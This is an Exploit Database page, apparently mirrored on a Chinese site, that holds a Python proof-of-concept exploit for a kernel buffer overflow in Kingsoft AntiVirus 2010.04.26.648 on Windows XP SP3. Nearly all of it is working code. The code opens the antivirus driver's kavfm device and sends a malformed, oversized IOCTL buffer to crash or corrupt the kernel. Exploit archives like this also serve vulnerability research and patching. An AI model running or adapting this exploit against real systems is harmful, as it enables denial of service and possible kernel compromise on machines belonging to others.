Kingsoft AntiVirus 2010.04.26.648 – Kernel Buffer Overflow

• Exploit Database
• 107 阅读

• 作者： Lufeng Li
  日期： 2010-09-13
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/14987/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34

  #!/usr/bin/python   ################################################################# # # Title: Kingsoft Antivirus Kernel Buffer Overflow Exploit # Author: Lufeng Li of Neusoft Corporation # Vendor: www.duba.net # Platform: Windows XPSP3 Chinese Simplified # Tested: Kingsoft Antivirus v2010.04.26.648 # Vulnerable: Kingsoft Antivirus <=v2010.04.26.648 # Vulnerable App: http://down10b.zol.com.cn/shadu/KAV100625_DOWN_10_166.zip?key=314e0cb9ea82720d90caae96bb918009 ################################################################# # Code : from ctypes import *   kernel32 = windll.kernel32 Psapi= windll.Psapi   if __name__ == &apos;__main__&apos;: GENERIC_READ= 0x80000000 GENERIC_WRITE = 0x40000000 OPEN_EXISTING = 0x3 CREATE_ALWAYS = 0x2   DEVICE_NAME = "\\\\.\\kavfm" dwReturn= c_ulong() out_size= 1024 in_size = 1024 in_data = &apos;&apos; driver_handle1 = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, CREATE_ALWAYS, 0, None) in_data=1024*&apos;\x80&apos; dev_ioctl = kernel32.DeviceIoControl(driver_handle1, 0x80030004, in_data,500, 0, 0,byref(dwReturn), None)